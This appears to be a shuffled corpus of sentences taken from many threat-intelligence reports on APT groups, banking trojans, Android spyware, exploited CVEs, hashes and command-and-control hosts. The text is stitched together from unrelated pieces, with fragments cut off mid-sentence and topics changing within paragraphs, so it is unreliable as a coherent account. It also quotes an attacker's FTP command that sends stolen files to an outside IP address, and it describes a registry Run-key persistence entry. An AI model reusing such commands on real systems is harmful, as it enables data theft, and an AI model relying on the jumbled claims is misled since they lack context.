According to security 360 Threat Intelligence Center , Goldmouse was observed deploying the nebulous njRAT backdoor . While the URL acts similarly to how eye-watch.in : 443 delivers payloads , we also saw the URL leveraging and exploiting security flaws in Flash : CVE-2015-8651 , CVE-2016-1019 , and CVE-2016-4117 .


For example , numerous malware families register themselves as services during installation to guarantee persistence across reboots .


r1-r4 : This is a local privilege escalation ( root ) exploit , which includes : CVE-2013-6282 , camerageroot ( http : //www.77169.org/exploits/2013/20130414031700 ) , a rooting tool for mtk6592 and addtional exploit . In total , PLATINUM made use of four zero-day exploits during these two attack campaigns ( two remote code execution bugs , one privilege escalation , and one information disclosure ) , showing an ability to spend a non-trivial amount of resources to either acquire professionally written zero-day exploits from unknown markets , or research and utilize the zero-day exploits themselves . DragonOK appears to operate out of China 's Jiangsu Province .


The threat actors steal data from compromised systems over a long period of time , which likely indicates a long-term objective of monitoring the target's network .


Dropper payload – downloader DLL Internal name : msdetltemp.dll File format : PE32 DLL File size : 73 728 bytes MD5: f6f88caf49a3e32174387cacfa144a89 Linker version : 11.0 , Microsoft Visual Studio Linker timestamp : 2015.02.10 07:20:02 ( GMT ) Exported functions :


In 2014 , Unit 42 released a report titled " 419 Evolution " that documented one of the first known cases of Nigerian cybercriminals using malware for financial gain . The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East .


Once launched , null will first verify whether it is able to fork on the system and that there is no other instance of itself currently running by checking whether the local port number 6842 is available . It has conducted attacks on similar organizations in Saudi Arabia , likely because of the access that those organizations have . Daily_Report.docx : The Winnti group diversified its targets to include enterprises such as those in pharmaceutics and telecommunications .


The payload will execute shell code to steal data from various applications . The attackers have taken great care to stay under the radar , imitating another attack group in the region . The group has heavily targeted the gaming industry , but it has also expanded the scope of its targeting .


However , among our Downeks samples , we found new versions apparently written in .NET .


“ .clic ” and “ k ( ) ; ” ) . We suspect that the group sought access to these networks to obtain information that would enable it to monitor communications passing through the providers' systems . ZXHttpProxy Run a HTTP proxy server on the workstation . It is still unclear whether its authors have any links to known cybercrime organizations .


Figure 25 : infected Android version distribution To further analyze “ Agent Smith ” ’ s infection landscape , we dived into the top 10 infected countries : Country Total Devices Total Infection Event Count Avg . Back in February , Trend Micro noted the similarities between the Patchwork and Confucius groups and found that , in addition to the similarities in their malware code , both groups primarily went after targets in South Asia . The domain address usually ends in a .info or .net TLD , while the file name for the actual payload consists of random characters , similar to the randomness previously seen being used to generate file names and scheduled tasks . In this case , Mandiant observed the process w3wp.exe , ( the IIS process associated with the Exchange web front - end ) spawning cmd.exe to write a file to disk .


Upon opening of the MS Word document , our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module , 'NavShExt.dll' , which is then injected into iexplore.exe to install the backdoor , begin collection , and activate command and control . Curiously , Bahamut appears to track password attempts in response to failed phishing attempts or to provoke the target to provide more passwords .


The new class is called NotificationListener and extends the NotificationListenerService class . By relying on a native PDF command to navigate to a new URL , Zirconium successfully circumvented Chrome 's anti-redirect protection . APT12 has previously used the THREEBYTE backdoor . Proxy : Multi - hop Proxy A backdoor used by APT29 created a Tor hidden service to forward traffic from the Tor client to local ports 3389 ( RDP ) , 139 ( Netbios ) , and 445 ( SMB ) enabling full remote access from outside the network and has also used TOR .004


Since Shamoon incidents feature the infiltration and escalation stages of targeted attacks , X-Force IRIS responders sought out the attackers ’ entry point .


Kaspersky Lab products detect it as Trojan.AndroidOS.Dvmap.a . If a bot was installed on a network that was of interest to the hacking group , this bot was then used to upload one of the remote access programs . In the RevengeHotels campaign , the downloaded files are .NET binaries protected with the Yoda Obfuscator . Uncovering weaknesses in Apple macOS and VMWare vCenter : 12 vulnerabilities in RPC implementation •


DHS has previously released Alert TA14-353A , which contains additional details on the use of a server message block ( SMB ) worm tool employed by these actors .


The agent appears to have been under development for at least five years and consists of three stages . From 2013 Carbanak intensified its activity focused on banks and electronic payment systems in Russia and in the post-Soviet space . From January 2018 to March 2018 , through FireEye 's Dynamic Threat Intelligence , we observed attackers leveraging the latest code execution and persistence techniques to distribute malicious macro-based documents to individuals in Asia and the Middle East .


These entities are not regionally congruent , and the only shared victimology involves their organizational functions .


The Trojan allows the criminals to remotely control the victim ’ s computer and is capable of recording sound from a microphone . The backdoor will load the encrypted configuration file and decrypt it , then use Secure Sockets Layer ( SSL ) protocol to connect to command-and-control ( C&C ) servers . This suggests that this config is added manually to the sample after having been built . As we commonly see in the ransomware space , this threat is delivered through a variety of mechanisms which can include phishing and being dropped as secondary payloads from command and control ( C2 ) frameworks like Cobalt Strike .


As is common for malware , the GeminiDuke infostealer uses a mutex to ensure that only one instance of itself is running at a time .


These campaigns differ in tools , server infrastructure , and nuances in decoy content and intended targets .


Note that in almost all cases , this payload file , contained in zip archives , is named ‘ setting ’ or ‘ setting.o ’ . While investigating KerrDown we found multiple RAR files containing a variant of the malware . Magic Hound is an Iranian-sponsored threat group operating primarily in the Middle East that dates back as early as 2014 .


APT15 was targeting information related to UK government departments and military technology . Other samples were found bearing a compilation time as early as June 2012 and version 00002 .


EventBot loaded library Loaded library as seen in Logcat . After further analysis , it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft’s Equation Editor (EQNEDT32) . FireEye has identified APT35 operations dating back to 2014 .


The threat group also reportedly targeted the German parliament and German Chancellor Angela Merkel's Christian Democratic Union party .


A successful network intrusion can have severe impacts , particularly if the compromise becomes public and sensitive information is exposed .


Previous versions were storing config values within the variables of a class , while the latest version is using SharedPreferences with some of the keys being identical to those used by Anubis : isAccessibility time_work time_start_permission url_inj Conclusion Ginp is a simple but rather efficient banking Trojan providing the basic functionality to be able to trick victims into delivering personal information . Our research partner Rapid7 investigated the Dropbox use and found that the attackers had used the same account to store exfiltrated data from a global apparel company . Another subdomain , bbs.softfix.co.kr was hosted on same IP address as bbs.gokickes.com , which was reported as the C2 server of Invader by Cyphort .


While attribution of malware attacks is rarely simple or conclusive , during the course of this investigation I uncovered evidence that suggests the attacker might be affiliated with the state-sponsored group known as Sofacy Group ( also known as APT28 or Operation Pawn Storm ) .


WildFire detects all SofacyCarberp payloads with malicious verdicts .


The group's Cobalt Strike installation typically uses a payload named svchost.exe in an attempt to disguise Cobalt Strike activity as the legitimate Windows svchost.exe executable .


We have tracked and profiled this group through multiple investigations , endpoint and network detections , and continuous monitoring .


The zero-day vulnerability found and reported by Symantec (CVE-2019-0703) occurs due to the way the Windows SMB Server handles certain requests . Bahamut was shown to be resourceful , not only maintaining their own Android malware but running propaganda sites , although the quality of these activities varied noticeably .


The server-side component provides a simple graphical user interface for threat actors interacting with web shells .


The first document – dated April 10 , 2017 – is marked “ Very Secret ”


Dell SecureWorks Counter Threat Unit (TM ) ( CTU ) researchers investigated activities associated with Threat Group-3390 ( TG-3390 ) .


The Word document usually exploits CVE-2012-0158 . LAS VEGAS—Today at the Black Hat information security conference , Dell SecureWorks researchers unveiled a report on a newly detected hacking group that has targeted companies around the world while stealing massive amounts of industrial data .


While you would virtually never see Western intelligence agencies going after the same target without de-confliction for fear of compromising each other ’s operations , in Russia this is not an uncommon scenario . “ Putin ’s Hydra : Inside Russia ’s Intelligence Services ” , a recent paper from European Council on Foreign Relations , does an excellent job outlining the highly adversarial relationship between Russia ’s main intelligence services – FSB , the primary domestic intelligence agency but one with also significant external collection and ‘ active measures ’


This functionality can be seen in Figure 1 . As can be observed in the illustration above , the makeself script is instructed to run ./setup.sh after unpacking . Embedded in this sample ’s configuration three command-and-control server addresses and two additional strings we believe to be campaign designators .


January 2016 – May 2018 : In this stage , “ Agent Smith ” hackers started to try out 9Apps as a distribution channel for their adware . This algorithm was previously discussed by security researchers in a Confucius-related blog post . Its goal is a very common one in cybercriminal circles — to install a coin miner that silently steals computer resources and generates revenue for the attackers — yet Dexphot exemplifies the level of complexity and rate of evolution of even everyday threats , intent on evading protections and motivated to fly under the radar for the prospect of profit . The activity we have observed , coupled with others in the information security industry , indicate that these threat actors are likely using Exchange Server vulnerabilities to gain a foothold into environments .


The “ core ” module communicates with the C & C server , receiving the predetermined list of popular apps to scan the device for . So far , Unit 42 has seen infrastructure overlaps with servers hosting C2 servers for samples of the FFRAT , PlugX , Poison Ivy and Scieron Trojans , suggesting that the threat actors use these tools as the payload in their attacks . 1 、An installer with two URLs ; Scheduled Task / Job : Scheduled Task APT29 has used named and hijacked scheduled tasks to establish persistence .


Using similar traits , such as copycat iconography and app or package names , victims are likely socially engineered into installing the malicious apps , especially when available on so-called third-party ( i.e . The BalkanDoor backdoor does not implement any exfiltration channel . From mid-2016 through early 2017 , APT33 compromised organizations located in Saudi Arabia and U.S. in the aerospace sector .


We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers . PLEAD also uses CVE-2017-7269 , a buffer overflow vulnerability Microsoft Internet Information Services ( IIS ) 6.0 to compromise the victim 's server .


New KASPERAGENT Malware Campaign .


The server is expected to send back executable code and one of the following commands :


It may be that these submissions are made from the author ’ s machine , or that they submit it to a detection service that in turn submits to online malware databases . Madcap” is similar to the XAgent malware , but the former is focused on recording audio . The Rocket Kitten attacker group 's main attack vector is spear-phishing .


The agency's hacking division freed it from having to disclose its often controversial operations to the NSA (its primary bureaucratic rival) in order to draw on the NSA's hacking capacities . The malicious attachments purported to be invitations or drafts of the agenda for the conference .


Information about all actions performed by Rotexy is logged in the local database and sent to the C & C . The malicious loader will use dynamic-link library ( DLL ) hijacking — injecting malicious code into a process of a file/application — on sidebar.exe and launch dllhost.exe ( a normal file ) . Leafminer also utilized Process Doppelganging , a detection evasion technique first discussed at the Black Hat EU conference last year .


CONTACTS – send text received from C & C to all user contacts . For example , in September 2016 , Sowbug infiltrated an organization in Asia , deploying the Felismus backdoor on one of its computers , Computer A , using the file name adobecms.exe in CSIDL_WINDOWS\debug . As of early June 2018 , the server hosted 112 files in a subdirectory that could be accessed through a public web shell planted by the attackers .


list harvesting . In all three incidents , the attackers gained access to networks through deployments of Citrix and LogMeIn remote-access software using stolen valid user credentials . SecureWorks said the adversary group is abusing a previously undisclosed vulnerability in Japanese Software Asset Management system on endpoints .


– browser .


] 91 2020-03-04 http : //ora.carlaarrabitoarchitetto [ . RocketMan!” (probably a reference to Donald Trump’s nickname for Kim Jong Un) and MiamiBeach” serve as the first beacon messages from the victim to the control server . In addition to using PlugX and Poison Ivy ( PIVY ) , both known to be used by the group , they also used a new Trojan called " ChChes " by the Japan Computer Emergency Response Team Coordination Center ( JPCERT ) .


The operations division , supervised by Major Boris Alekseyevich Antonov , specialized in targeting organizations of intelligence interest through spear-phishing campaigns and the exploitation of stolen credentials .


Sending information about the affected device The app receives configuration data from the C & C server , needed for displaying ads , and for stealth and resilience . Today , FireEye Intelligence is releasing a comprehensive report detailing APT41 , a prolific Chinese cyber threat group that carries out state-sponsored espionage activity in parallel with financially motivated operations . Create a screenshot and uploads it on the C2 .


] orgmediauploader [ . Our observation of Infy 's campaigns , primarily through the lens of spearphishing attacks against Iranian civil society and media organizations , indicates a wandering focus on particular demographics on a strategic basis over time . The registrant supplied “ uglygorilla@163.com ” as an email address . Monitor for any attempts to enable scripts running on a system would be considered suspicious .


These loader samples all had compilation timestamps purporting to be from the 24th or the 25th of September , 2001 .


Other public tools used by the CopyKittens are Metasploit , a well-known free and open source framework for developing and executing exploit code against a remote target machine ; Mimikatz , a post-exploitation tool that performs credential dumping ; and Empire , a PowerShell and Python post-exploitation agent . It is not the first time Turla has used generic tools .


Of these , the crucial one is the presence of PDB strings in the MiniDuke exploits .


Therefore sending the file path “ ..\..\ secret_info.doc ”


Based on the campaign identifiers found in PinchDuke samples discovered from 2009 , the targets of the Dukes group during that year included organizations such as the Ministry of Defense of Georgia and the ministries of foreign affairs of Turkey and Uganda .


Users should adopt best practices , while organizations should ensure that they balance the need for mobility and the importance of security . In August 2017 , the National Bank of Ukraine warned state-owned and private banks across the country about a large-scale phishing attack . The link between these threat actors and FIN7 is still weak , but we decided to disclose a few hints regarding these in this blog post . Tarrask is able to create " hidden " scheduled tasks by deleting the Security Descriptor ( SD ) registry value.[9 ] WarzoneRAT can masquerade the Process Environment Block on a compromised host to hide it 's attempts to elevate privileges through IFileOperation .


Lookout customers are also protected from this threat on both Android and iOS . Lotus Blossom attempted to exploit CVE-2014-6332 using the POC code available in the wild . It came in the form of a " Tran Duy Linh " CVE-2012-0158 exploit kit document MD5 : de8a242af3794a8be921df0cfa51885f61 and was observed on April 10 , 2014 .


. McAfee Advanced Threat Research analysts have uncovered a global data reconnaissance campaign assaulting a wide number of industries including critical infrastructure , entertainment , finance , health care , and telecommunications . Later at 6:56 , the attackers exfiltrated data using this FTP tool to a remote host: JsuObf.exe Nup#Tntcommand -s CSIDL_PROFILE\appdata\roaming\adobe\rar -a ftp://89.34.237.118:2020 -f/[REDACTED]-u[REDACTED]-p[REDACTED] . Between Jan. 1 – June 20 , 2023 , Mandiant identified more than 500 distinct victims that the KillNet collective has allegedly targeted with DDoS attacks .


APT33 's targeting of organizations involved in aerospace and energy most closely aligns with nation-state interests , implying that the threat actor is most likely government sponsored . Since January 2013 , we've been on the lookout for a possible RedOctober comeback .


First , it will get the “ nativenumber ” variable from the “ telmark ” value of “ AndroidManifest.xml ” . In particular , TG-3390 has exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code . In May 2016 , both PROMETHIUM and NEODYMIUM were observed to launch attack campaigns .


Figure 3: Embedded URL in OLE object CVE-2017-11882 Similarly , we have also observed actors leveraging another recently discovered vulnerability (CVE-2017-11882) in Microsoft Office . This malicious document contains a Visual Basic macro that dropped and executed an upgraded version of the implant known as SYSCON , which appeared in 2017 in malicious Word documents as part of several campaigns using North Korea–related topics .


David Manouchehri released the information about the backdoor through its own Github account ( Pastebin ) and then apparently deleted it . we detected an ongoing campaign targeting a national data center . The Winnti malware was also found at these universities a few weeks prior to ShadowPad . In addition , individuals like Hack520 prove that these threat actors are composed of varied individuals who have their own set of expertise .


This intelligence has been critical to protecting and informing our clients , exposing this threat and strengthening our confidence in attributing APT28 to the Russian government . For example , the actors behind FrozenCell used a spoofed app called Tawjihi 2016 , which Jordanian or Palestinian students would ordinarily use during their general secondary examination .


The beginning of 2017 also brought a turning point in INDRIK SPIDER 's operation of Dridex . This malware uses the public privilege escalation exploit code CVE-2018-8120 or UACME which is normally used by legitimate red teams .


What follows are some of the features exhibited by SpyNote RAT . In addition , Silence downloads the reverse proxy programs Silence.ProxyBot and Silence. ProxyBot.NET , which are described in detail in the report Silence: moving into the darkside . The Cobalt group 's traditional " stomping grounds " are the Eastern Europe , Central Asia , and Southeast Asia .


2016 From mid-2016 on , the cybercriminals returned to dynamic generation of lowest-level domains . The download name was " Zawgyi_Keyboard_L.zip " , and it dropped a " setup.exe " that contained several backdoor components , including an Elise " wincex.dll " ( a42c966e26f3577534d03248551232f3 , detected as Backdoor.Win32.Agent.delp ) . Ransomware that has been publicly named " WannaCry " , " WCry " or " WanaCrypt0r " ( based on strings in the binary and encrypted files ) has spread to at least 74 countries as of Friday 12 May 2017 , reportedly targeting Russia initially , and spreading to telecommunications , shipping , car manufacturers , universities and health care industries , among others .


We don't know how OurMine managed to access WikiLeaks 's DNS records , but past experience has shown that their typical modus operandi is simply to log in using their victim 's password . Silence 's main targets are located in Russia , Ukraine , Belarus , Azerbaijan , Poland , and Kazakhstan .


Multinational , multi-industry companies involved in the manufacture of textiles , chemicals , and electronics .


This approach allows the authors to combine ads from third-party advertising networks with ads they created for their own apps . If KeyBoy is a single component of a larger espionage toolkit , the developers may have realized that this older , static-key based , configuration encoding algorithm was inadvertently providing a link between disparate components of their malware suite . The emails originated from the address dpptccb.dpp@msa.hinet.net , and contained the subject DPP's Contact Information Update . Republican state lawmakers are backing a legal challenge in the court systems to block an Environmental Protection Administration rule that asked local water systems to evaluate their current cybersecurity systems and protections while conducting sanitation surveys .


" When BLU raised objections , Adups took immediate measures to disable that functionality on BLU phones , '' Adups says . The well-crafted and socially engineered malicious documents then become the ﬁrst stage of a long and mainly ﬁleless infection chain that eventually delivers POWERSTATS , a signature PowerShell backdoor of this threat group . Dark Caracal is threat group that has been attributed to the Lebanese General Directorate of General Security ( GDGS ) and has operated since at least 2012 .


The threat then executes “ svchost.exe ” , a PE file , which is actually a clean tool known as OLEVIEW.EXE .


What makes SeaDuke special is that it was written in Python and designed to work on both Windows and Linux systems ; it is the first cross-platform tool we have seen from the Dukes .


The Poseidon Group has been active , using custom code and evolving their toolkit since at least 2005 . These have been highly active in the Middle East region and unveiled ongoing targeted attacks in multiple regions .


Security analysts are typically equipped with the tools to defeat a good number of similar tricks during malware investigations . A paper released today by our colleagues at Palo Alto Networks presented a portion of data on this crew under the label " the Lotus Blossom Operation " , likely named for the debug string present in much of the " Elise " codebase since at least 2012 : " d:\lstudio\projects\lotus\… " . DownUrlFile DownRunUrlFile RunUrlBinInMem UnInstall . All companies are subject to these .


Advertisement The VM also disguises the malicious activity , making it easier for the apps to infiltrate Google Play . For example , DeltaAlfa specifies a DDoS bot family identified as Alfa . AutoIt backdoor : A custom built backdoor written in the AutoIt scripting language . Or , they may go up against groups whose ideologies do not align with their own .


We cannot confirm how the initial credentials were stolen in the 2016 incident ; however , later in the intrusion , Responder was deployed .


Threat actors are increasingly focused on gaining control of legitimate credentials , especially credentials associated with highly privileged accounts .


Netview — This tool enumerates networks .


Add the layer of encryption that the SMTPS and POP3S protocols provide to the legitimate web-based service and you have a very difficult C2 channel to block While Sofacy ’s campaign delivering Zebrocy and Cannon remains active , Palo Alto Networks customers are protected from this threat in the following ways :


This malware-life-cycle has been observed to reoccur every few years , bringing new malware families into light . They seem to have specialized knowledge about military operations , as they are focused on stealing specific files such as those that describe navigation routes . As detailed in the DOJ complaint , a sample of WHITEOUT ( aka Contopee ) malware we attribute to APT38 was used between 2015 and 2016 against a Southeast Asian bank .


Reverse shell payload The reverse shell module is an external ELF file compiled by the attackers to run on Android . OceanLotus have been actively using since at least early 2018 . TA459 is a threat group believed to operate out of China that has targeted countries including Russia , Belarus , Mongolia , and others .


Knowledge of the threat landscape and implementation of the right detection tools remains crucial to be able to protect yourself from fraud ; Cerberus is yet a new Trojan active in the wild ! AdroMut downloads the malware ServHelper and FlawedAmmy RAT used by the SectorJ04 group from the attacker server and simultaneously performs the functions of a backdoor . Several xxmm samples analyzed by CTU researchers incorporate Mimikatz , allowing BRONZE BUTLER to issue Mimikatz commands directly from xxmm .


IOCs for this version were :


The DLL acts as a stub loader , which loads and executes the shell code .


In this report , we'll review how the NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan . The main targets seem to be US companies in engineering , transport and defense , although it has targeted other organizations around the world .


We have found another instance of malware posing as the Super Mario Run Android app , and this time it has taken the form of DroidJack RAT ( remote access trojan ) . Multiple China-based cyber threat groups have targeted international media organizations in the past . Initial reports of the attacks , published April 26 ( in Hebrew ) by the Israel National Cyber Event Readiness Team ( CERT-IL ) and The Marker , confirm that the attack was delivered through compromised email accounts at Ben-Gurion University and sent to multiple targets across Israel . Indicators can be automatically sent to your security tools , like secure email gateway and firewalls , to respond and block threats in realtime .


So I don ’ t know what kind of files will be executed , but they could be malicious or advertising files . In this blogpost we cover a malicious program for Windows called Octopus that mostly targets diplomatic entities . APT1 is a single organization of operators that has conducted a cyber espionage campaign against a broad range of victims since at least 2006 . The final stage backdoor connects to two servers , one in Panama and one in Turkey to receive the instructions from the attackers .


Key : HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleIndexer Value : %AppData%\Platform\sslwin.exe .


Logs collected by Check Point researchers show that every day Gooligan installs at least 30,000 apps fraudulently on breached devices or over 2 million apps since the campaign began . Remexi is a basic back door Trojan that allows Cadelle to open a remote shell on the computer and execute commands . The global variable value dword_72DBB588 is always 0 because the value is not initialized ( we can check it by is_loaded API ) This markup becomes unescaped , causing arbitrary markup to be injected into the document .


Shamoon2 : d30b8468d16b631cafe458fd94cc3196 .


During our extended threat hunting , we uncovered 11 apps on the Google Play store that contain a malicious yet dormant SDK related to “ Agent Smith ” actor . In this blog post , we discussed two separate malware variations that behave in very similar ways and use similar techniques to acquire a C2 address , with both using Yahoo Answers and Quora to evade traditional mechanisms for blocking command and control domains . Dexphot : aa5c56fe01af091f07c56ac7cbd240948ea6482b6146e0d3848d450977dff152 . Regardless of which side of the political spectrum you fall , cybersecurity should be something our lawmakers can all agree on .


Once TERBIUM has a foothold in the organization , its infection chain starts by writing an executable file to disk that contains all the components required to carry out the data-wiping operation . However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .


Our malware analysts Nikita Buchka and Mikhail Kuzin can easily name 11 families of such Trojans . Our analysis shows that actors attempted to exploit CVE-2012-0158 to install NetTraveler Trojan . Iranian threat agent OilRig has been targeting multiple organisations in Israel and other countries in the Middle East since the end of 2015 .


Moving laterally through a network relying only on legitimate tools that already exist within the victims ’ systems , at times forgoing their traditional toolset for the duration of the compromise .


However it ’ s unclear whether organizations that later reported on ViperRAT performed their own independent research or simply based their content on the original Israeli report . Based on our analysis , we believe that threat actors may compile Windows and Unix based payloads using the same code to deploy Kazuar against both platforms . First , it checks if the DLL is executed as a service . Adversaries may utilize command - line interfaces ( CLIs ) to interact with systems and execute commands .


The threat actors then move quickly to compromise Microsoft Exchange servers and to gain complete control of the target environment .


Its main capabilities include : Stealing personal device information Intercepting SMS messages Recording targeted applications for one-time password ( TAN ) Lockdown of the phone Stealing pictures from the device Self-destruction and removal As banks release more advanced security measures , banking malware evolves to keep up with the perpetual arms race . The exploit installs Silence’s loader , designed to download backdoors and other malicious programs . Instead , OilRig 's attack involved delivering the OopsIE Trojan directly to the victim , most likely using a link in a spear phishing email .


The targets were similar to a 2015 TG-4127 campaign — individuals in Russia and the former Soviet states , current and former military and government personnel in the U.S. and Europe , individuals working in the defense and government supply chain , and authors and journalists — but also included email accounts linked to the November 2016 United States presidential election .


jp.co.sagawa.SagawaOfficialApp 佐川急便 Malicious URLs : hxxp : //38 [ . CTU researchers assess with moderate confidence that the group is operating from the Russian Federation and is gathering intelligence on behalf of the Russian government . The send function uses several counters to maintain various pieces of information used to control the flow of . shellcode Download a shellcode and run by injecting it in a target process .


These modules are used to selectively provide CozyDuke with just the functionality deemed necessary for the mission at hand .


The time bomb triggers unpacker thread . We assess that the actors employing this latest Flash zero-day are a suspected North Korean group we track as TEMP.Reaper . This blog post analyzes several recent Molerats attacks that deployed PIVY against targets in the Middle East and in the U.S. We also examine additional PIVY attacks that leverage Arabic-language content related to the ongoing crisis in Egypt and the wider Middle East to lure targets into opening malicious files .


It is safe to say that today ’ s cybercriminal is no longer a lone hacker but part of a serious business operation . we detected an ongoing campaign targeting a national data center in the Centeral Asia . It is also known for having compromised various targets in the healthcare and education sectors . The attackers first attempted to use the LockBit ransomware but when that was blocked , they resorted to 3AM instead .


XENOTIME is easily the most dangerous threat activity publicly known .


Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , EQNEDT32.exe , scores high for potentially malicious activity . Execute a command through exploits for CVE-2018-0802 .


The product information in the builder kit matched with this individual ’s YouTube username and the YouTube channel .


Found bundled with a repackaged app , the spyware ’ s surveillance capabilities involve hiding its presence on the device , recording phone calls , logging incoming text messages , recoding videos , taking pictures and collecting GPS coordinates , then broadcasting all of that to an attacker-controlled C & C ( command and control ) server . In early August , the SectorJ04 group carried out extensive hacking activities targeting the users around the world , including South Korea , India , Britain , the United States , Germany , Canada , Argentina , Bangladesh and Hong Kong . Sensitive bank documents have be found on the servers that were controlling Carbanak .


Mobile developers have recently begun eschewing traditional app stores and instead want to deliver their software directly through their own means . As part of its ongoing research initiatives , the Anomali Threat Research Team has discovered a new phishing attack leveraging spoof sites that seem to be designed to steal email credentials from the target victims within the government of the People’s Republic of China . APT33 's focus on aviation may indicate the group 's desire to gain insight into regional military capabilities to enhance Iran 's aviation capabilities or to support Iran 's military and strategic decision making .


This means that untrusted software may not be allowed to run unless it is signed .


When rooting fails , a second component delivers a fake system update notification in hopes of tricking users into granting HummingBad system-level permissions . WannaCry ( also known as WCry or WanaCryptor ) malware is a self-propagating ( worm-like ) ransomware that spreads through internal networks and over the public internet by exploiting a vulnerability in Microsoft 's Server Message Block ( SMB ) protocol , MS17-010 . APT33 : 64.251.19.215 [REDACTED].myftp.org . The group 's 91 attacks come not long after their extensive GoAnywhere campaign in March , when they hit over 100 organizations using a nasty zero - day .


SHA256 Package Name App Name a6c7351b09a733a1b3ff8a0901c5bde fdc3b566bfcedcdf5a338c3a97c9f249b com.android.henbox 备份 ( Backup ) Table 3 HenBox variant used in description Once this variant of HenBox is installed on the victim ’ s device , the app can be executed in two different ways : One method for executing HenBox is for the victim to launch the malicious app ( named “ Backup ” , in Since 2017 , APT41 has consistently targeted telecommunications companies , possibly a crucial first step to establish a foothold in targeting a particular region . While TG-4127 continues to primarily threaten organizations and individuals operating in Russia and former Soviet states , this campaign illustrates its willingness to expand its scope to other targets that have intelligence of interest to the Russian government .


In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload . A timeline of new activity can be scoped out for the group , with the greatest number of related downloaders created by the developers in December 2011 , Feb and March of 2012 , followed by June of 2012 .


In this version , the developer added more classes from the same package . some indications of loosely linked activity dating back to at least 2013 . Similar to RIPTIDE campaigns , APT12 infects target systems with HIGHTIDE using a Microsoft Word ( .doc ) document that exploits CVE-2012-0158 . WIRTE has used HTTPS over ports 2083 and 2087 for C2.ZxShell can use ports 1985 and 1986 in HTTP / S communication.[47 ] Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level .


Lookout researchers have identified a new , highly targeted surveillanceware family known as Desert Scorpion in the Google Play Store . Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets , keyloggers , remote access tools ( RATs ) , and wiper malware . The latest versions of PowerArchiver 2019 and WinRar displayed in their respective UI the executable SHIPPING_MX00034900_PL_INV_pdf.exe as the only content of the ZIP . However , lessons learned this year can help organizations take proactive steps to protect themselves from ransomware in 2023 .


The loaders associated with the PinchDuke toolset have also been observed being used with CosmicDuke .


NetWire , DarkComet , NanoCore , LuminosityLink , Remcos and Imminent Monitor are all designed to provide remote access to compromised systems . In all cases , based on the nature of the computers infected by Thrip , it appeared that the telecoms companies themselves and not their customers were the targets of these attacks .


This final payload was designed to run only on certain systems .


APT33 has targeted organizations – spanning multiple industries – headquartered in the United States , Saudi Arabia and South Korea . In 2013 , a public report reveals a group of actors conducted targeted attacks leverage a malware dubbed ICEFOG against mainly government organizations and defense industry of South Korea and Japan .


The backdoor can connect to any of the C&Cs from a hardcoded list – a measure to increase resilience . Both of these samples work as Banking Trojans and provide similar functionalities .


This once more highlights two crucial behavioral elements of the Dukes group .


Implementing input validation can protect against the security flaws of web applications by significantly reducing the probability of successful exploitation .


Interestingly , we found other DNS records mostly from 2017 that follow a similar pattern and appear to contain two-letters codes for districts in Italy : Server City server1bo.exodus.connexxa [ . Additionally , the actor possibly gained a foothold on other target networks—beyond the two intrusions discussed in this post – using similar strategies . A shortcut is added to the the startup folder : C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup . Indicators of compromise IOCs are pieces of forensic data , such as data found in system log entries or files , that identify potentially malicious activity on a system or network .


This may also explain the timing in between the apps becoming fully functional and “ incubation. ” As this is a group we have not observed before , we will continue monitoring this campaign for further developments . The GCMAN group has moved beyond banks and is now targeting the budgeting and accounting departments in any organization of interest to them , using the same APT-style tools and techniques . it updates the CFG and the destination of the instruction . This also ties into the fact that cyber criminals are competitive by nature , and they love the challenge their actions bring .


TRISIS was an escalation of the type of attacks historically targeting ICS systems .


The author has introduced the capability to grant the app the device admin permission . That attack was attributed to perpetrators Kaspersky called the Winnti Group . Invader ( a.k.a Kickesgo ) is a backdoor that injects its main code into a legitimate process , such as explorer.exe , and has following functions :


In addition to these , the Animal Farm attackers used at least one unknown , mysterious malware during an operation targeting computer users in Burkina Faso . Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .


Some example file names using this technique include : AntiVirus_update_package.7z , acquisition.7z , offer.7z , update_flashplayer10ax.7z .


( control the vibrator ) ∗ android.permission.ACCESS_WIFI_STATE ( view information about the status of Wi-Fi ) ∗ android.permission.WRITE_SMS ( edit/delete SMS ) ∗ android.permission.ACCESS_NETWORK_STATE ( view the status of all networks ) ∗ android.permission.WAKE_LOCK ( prevent the phone from going to sleep ) ∗ android.permission.GET_TASKS ( retrieve running applications ) ∗ android.permission.CALL_PHONE ( call phone numbers ) One of the top targets is the Japan Pension Service , but the list of targeted industries includes government and government agencies , local governments , public interest groups , universities , banks , financial services , energy and so on . The threat posed by ZxShell to organizations is one that cannot be ignored . A possible solution would come from adaptive URLs , adding the ID as part of the URL or subdomain to allow admins to set CSP rules that restrict data exfiltration to other accounts .


Some HammerDuke variants only contain a hardcoded C&C server address from which they will retrieve commands , but other HammerDuke variants will first use a custom algorithm to generate a Twitter account name based on the current date .


] it Reggio Calabria server2ct.exodus.connexxa [ . Adversary behavioral artifacts further suggest the TEMP.Veles operators are based in Moscow , lending some further support to the scenario that CNIIHM , a Russian research organization in Moscow , has been involved in TEMP.Veles activity . cname : Combating malware , ransomware , and malicious cyber attacks has always relied on information sharing , exposure of actors TTPs and the dissemination of reliable threat intelligence so that security professionals can quickly develop mitigations , remediations , and update their defenses to block future attacks .


Specifically , the techniques CosmicDuke uses to extract user credentials from targeted software and to detect the presence of analysis tools appear to be based on the techniques used by PinchDuke .


